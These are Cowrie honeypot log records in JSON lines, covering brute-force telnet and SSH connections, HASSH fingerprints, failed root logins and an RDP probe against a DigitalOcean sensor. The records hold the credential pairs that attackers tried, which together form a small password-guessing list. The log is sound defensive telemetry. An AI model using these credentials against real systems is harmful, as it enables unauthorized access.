{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41006,"dst_ip":"10.17.0.5","dst_port":23,"session":"c00e696c2c18","protocol":"telnet","message":"New connection: 152.42.224.71:41006 (10.17.0.5:23) [session: c00e696c2c18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:56:48.585164Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50258,"dst_ip":"10.17.0.5","dst_port":23,"session":"898e2e3bc44c","protocol":"telnet","message":"New connection: 152.42.224.71:50258 (10.17.0.5:23) [session: 898e2e3bc44c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:56:49.759284Z"}
{"eventid":"cowrie.session.closed","duration":13.749220132827759,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:56:50.054826Z","src_ip":"152.42.224.71","session":"cb35194d5534","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50274,"dst_ip":"10.17.0.5","dst_port":23,"session":"c826d7b414f1","protocol":"telnet","message":"New connection: 152.42.224.71:50274 (10.17.0.5:23) [session: c826d7b414f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:56:53.537996Z"}
{"eventid":"cowrie.session.closed","duration":23.06995153427124,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:56:54.239383Z","src_ip":"152.42.224.71","session":"4cef104e4c87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.969211339950562,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:56:54.397122Z","src_ip":"152.42.224.71","session":"ae5263678a74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50288,"dst_ip":"10.17.0.5","dst_port":23,"session":"17c01e851eb8","protocol":"telnet","message":"New connection: 152.42.224.71:50288 (10.17.0.5:23) [session: 17c01e851eb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:56:56.171842Z"}
{"eventid":"cowrie.session.closed","duration":103.39627027511597,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:03.519527Z","src_ip":"152.42.224.71","session":"683c20235f57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49008,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcaf634a5c75","protocol":"telnet","message":"New connection: 152.42.224.71:49008 (10.17.0.5:23) [session: dcaf634a5c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:05.975522Z"}
{"eventid":"cowrie.session.closed","duration":33.66443848609924,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:06.706043Z","src_ip":"152.42.224.71","session":"a2cd94c4d01b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00238847732544,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:08.684889Z","src_ip":"152.42.224.71","session":"f79892972b97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.34308481216431,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:08.801944Z","src_ip":"152.42.224.71","session":"a7e79f40638c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":57762,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5d2f66eb0a5","protocol":"ssh","message":"New connection: 103.149.28.157:57762 (10.17.0.5:22) [session: d5d2f66eb0a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:12.005577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:12.009847Z","src_ip":"103.149.28.157","session":"d5d2f66eb0a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:12.256676Z","src_ip":"103.149.28.157","session":"d5d2f66eb0a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gbcmrf","message":"login attempt [root/gbcmrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:13.001012Z","src_ip":"103.149.28.157","session":"d5d2f66eb0a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:14.250570Z","src_ip":"103.149.28.157","session":"d5d2f66eb0a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49012,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3a8807ae7e6","protocol":"telnet","message":"New connection: 152.42.224.71:49012 (10.17.0.5:23) [session: c3a8807ae7e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:15.097124Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":58894,"dst_ip":"159.203.135.109","dst_port":22,"session":"761f3da00132","protocol":"ssh","message":"New connection: 38.93.206.2:58894 (159.203.135.109:22) [session: 761f3da00132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:20.762225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:20.767012Z","src_ip":"38.93.206.2","session":"761f3da00132","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:20.818439Z","src_ip":"38.93.206.2","session":"761f3da00132","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"richard","message":"login attempt [root/richard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:20.975351Z","src_ip":"38.93.206.2","session":"761f3da00132","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:22.029172Z","src_ip":"38.93.206.2","session":"761f3da00132","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":102.26842999458313,"message":"Connection lost after 102 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:28.916494Z","src_ip":"152.42.224.71","session":"acc679ce9b2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.06019973754883,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:29.231919Z","src_ip":"152.42.224.71","session":"17c01e851eb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43344,"dst_ip":"10.17.0.5","dst_port":23,"session":"58e6ccebf129","protocol":"telnet","message":"New connection: 152.42.224.71:43344 (10.17.0.5:23) [session: 58e6ccebf129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:29.240931Z"}
{"eventid":"cowrie.session.closed","duration":44.45398473739624,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:31.124303Z","src_ip":"152.42.224.71","session":"8bf5c0c14006","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":52448,"dst_ip":"159.203.135.109","dst_port":22,"session":"54762f078343","protocol":"ssh","message":"New connection: 170.238.160.191:52448 (159.203.135.109:22) [session: 54762f078343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:31.416298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:31.419983Z","src_ip":"170.238.160.191","session":"54762f078343","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:31.532716Z","src_ip":"170.238.160.191","session":"54762f078343","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.172.6","src_port":43208,"dst_ip":"159.203.135.109","dst_port":22,"session":"74ca33ae323e","protocol":"ssh","message":"New connection: 181.188.172.6:43208 (159.203.135.109:22) [session: 74ca33ae323e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:31.580562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:31.587481Z","src_ip":"181.188.172.6","session":"74ca33ae323e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:31.704908Z","src_ip":"181.188.172.6","session":"74ca33ae323e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ashish","password":"ashish","message":"login attempt [ashish/ashish] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:32.022486Z","src_ip":"170.238.160.191","session":"54762f078343","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123QWE!@#","message":"login attempt [root/qwe123QWE!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:32.394382Z","src_ip":"181.188.172.6","session":"74ca33ae323e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43346,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d817c9373a2","protocol":"telnet","message":"New connection: 152.42.224.71:43346 (10.17.0.5:23) [session: 4d817c9373a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:33.073979Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:33.139579Z","src_ip":"170.238.160.191","session":"54762f078343","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:33.514042Z","src_ip":"181.188.172.6","session":"74ca33ae323e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.95.8","src_port":46408,"dst_ip":"10.17.0.5","dst_port":22,"session":"471cd94b8879","protocol":"ssh","message":"New connection: 167.86.95.8:46408 (10.17.0.5:22) [session: 471cd94b8879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:34.395943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:34.400780Z","src_ip":"167.86.95.8","session":"471cd94b8879","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43356,"dst_ip":"10.17.0.5","dst_port":23,"session":"ace58abe5262","protocol":"telnet","message":"New connection: 152.42.224.71:43356 (10.17.0.5:23) [session: ace58abe5262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:34.412322Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:34.496124Z","src_ip":"167.86.95.8","session":"471cd94b8879","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123.qwe","message":"login attempt [root/123.qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:34.917524Z","src_ip":"167.86.95.8","session":"471cd94b8879","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:36.022586Z","src_ip":"167.86.95.8","session":"471cd94b8879","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52632,"dst_ip":"10.17.0.5","dst_port":23,"session":"78140e44e06c","protocol":"telnet","message":"New connection: 152.42.224.71:52632 (10.17.0.5:23) [session: 78140e44e06c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:40.882044Z"}
{"eventid":"cowrie.session.closed","duration":53.902485370635986,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:42.487530Z","src_ip":"152.42.224.71","session":"c00e696c2c18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.11519145965576,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:42.874349Z","src_ip":"152.42.224.71","session":"898e2e3bc44c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":34632,"dst_ip":"159.203.135.109","dst_port":22,"session":"472657f6322c","protocol":"ssh","message":"New connection: 47.237.167.49:34632 (159.203.135.109:22) [session: 472657f6322c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:44.323226Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":58213,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f0605df34b0","protocol":"ssh","message":"New connection: 152.42.212.128:58213 (159.203.135.109:22) [session: 0f0605df34b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:47.507109Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:47.511820Z","src_ip":"152.42.212.128","session":"0f0605df34b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:47.515388Z","src_ip":"152.42.212.128","session":"0f0605df34b0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:47.930297Z","src_ip":"47.237.167.49","session":"472657f6322c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:48.165914Z","src_ip":"47.237.167.49","session":"472657f6322c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46664,"dst_ip":"10.17.0.5","dst_port":23,"session":"30ae75088692","protocol":"telnet","message":"New connection: 152.42.224.71:46664 (10.17.0.5:23) [session: 30ae75088692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:57:53.060860Z"}
